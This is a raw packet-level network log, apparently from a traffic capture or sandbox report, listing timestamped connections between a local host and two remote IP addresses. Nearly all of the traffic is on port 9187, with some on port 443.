Apr 19, 2024 01:33:56.441143990 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.441148043 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.441162109 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.441173077 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.441178083 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.441190958 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.441200972 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.441203117 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.441215038 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.441220045 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.441252947 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.640665054 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.640681028 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.640693903 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.640707016 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.640746117 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.640768051 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.640768051 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.640782118 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.640794039 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.640809059 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.640818119 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.640821934 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.640834093 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.640846968 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.640851021 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.640858889 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.640871048 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.640875101 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.640909910 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.789371967 CEST	443	49742	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:56.789472103 CEST	49742	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:56.791373014 CEST	49742	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:56.791393995 CEST	443	49742	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:56.792449951 CEST	443	49742	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:56.795167923 CEST	49742	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:56.795238972 CEST	49742	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:56.795245886 CEST	443	49742	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:56.795686007 CEST	49742	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:56.836143017 CEST	443	49742	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:56.840652943 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.840668917 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.840684891 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.840764046 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.840795040 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.840806961 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.840817928 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.840831995 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.840842962 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.840846062 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.840852976 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.840864897 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.840867043 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.840877056 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.840888023 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.840888977 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.840899944 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.840909004 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.840939999 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.918235064 CEST	443	49742	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:56.918425083 CEST	443	49742	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:56.918735981 CEST	49742	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:56.918735981 CEST	49742	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:56.918792963 CEST	49742	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:57.041778088 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.041798115 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.041809082 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.041822910 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.041834116 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.041846037 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.041857958 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.041870117 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.041882038 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.041893959 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.041906118 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.041917086 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.041915894 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.041928053 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.041940928 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.041969061 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.241050005 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.241071939 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.241085052 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.241141081 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.274437904 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.274460077 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.274477959 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.274491072 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.274502993 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.274502039 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.274517059 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.274532080 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.274533987 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.274545908 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.274557114 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.274569988 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.274579048 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.274583101 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.274597883 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.274621964 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.274805069 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.596597910 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.596621990 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.596641064 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.596658945 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.596688032 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.596689939 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.596714973 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.596724033 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.596724033 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.596762896 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.696466923 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.696625948 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.696644068 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.696664095 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.696693897 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.696711063 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.696717978 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.696723938 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.696738005 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.696752071 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.696764946 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.696765900 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.696778059 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.696780920 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.696791887 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.696803093 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.696804047 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.696865082 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.899074078 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.899099112 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.899117947 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.899136066 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.899156094 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.899161100 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.899175882 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.899199009 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.899219990 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.899235010 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.899251938 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.899270058 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.899296999 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.899312973 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.899316072 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.899327993 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.899341106 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:57.899341106 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.899369001 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:57.942931890 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.095649958 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.095813036 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.095832109 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.095850945 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.095870972 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.095870972 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.095890999 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.095910072 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.095920086 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.095928907 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.095938921 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.095947981 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.095967054 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.095967054 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.095987082 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.096004963 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.096013069 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.096024036 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.096049070 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.146024942 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.296555996 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.296586990 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.296607018 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.296627045 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.296644926 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.296664953 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.296679974 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.296696901 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.296715975 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.296726942 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.296734095 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.296747923 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.296753883 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.296782017 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.296806097 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.296809912 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.296817064 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.296859980 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.495619059 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.495641947 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.495707035 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.495776892 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.495795965 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.495815992 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.495834112 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.495846987 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.495852947 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.495873928 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.495883942 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.495893002 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.495913029 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.495930910 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.495937109 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.495949030 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.495964050 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.495969057 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.496001959 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.536669970 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.696024895 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.696054935 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.696074009 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.696093082 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.696116924 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.696146011 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.696166039 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.696171999 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.696185112 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.696204901 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.696223021 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.696240902 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.696243048 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.696264982 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.696283102 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.696300983 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.739789963 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.861941099 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.861984015 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.862021923 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.862057924 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.862096071 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.862133980 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.862171888 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.862190008 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.862190008 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.862190008 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.862210035 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.862253904 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.862292051 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.862329006 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.862382889 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.862413883 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.862413883 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:58.862420082 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:58.862472057 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.062040091 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.062110901 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.062150955 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.062190056 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.062231064 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.062232971 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.062269926 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.062280893 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.062309027 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.062316895 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.062350988 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.062390089 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.062402964 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.062832117 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.384690046 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.384737015 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.384774923 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.384812117 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.384851933 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.384871006 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.384902954 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.384910107 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.384948015 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.385000944 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.483926058 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.483990908 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.484030962 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.484069109 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.484081030 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.484142065 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.484153032 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.484184027 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.484222889 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.484261990 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.484286070 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.484303951 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.484323025 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.484344006 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.484381914 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.484419107 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.484438896 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.484460115 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.484488964 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.536667109 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.683748960 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.683792114 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.683829069 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.683867931 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.683896065 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.683907986 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.683943033 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.683945894 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.683985949 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.684025049 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.684036016 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.684062958 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.684117079 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.684127092 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.684156895 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.684180975 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.684197903 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.684235096 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.684287071 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.884262085 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.884284019 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.884299994 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.884316921 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.884336948 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.884354115 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.884371042 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.884387970 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.884396076 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.884406090 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.884423018 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.884458065 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.884469032 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.884485960 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.884497881 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.884505033 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:59.884536982 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:59.927315950 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:00.084379911 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:00.084526062 CEST	9187	49739	8.212.54.142	192.168.2.6
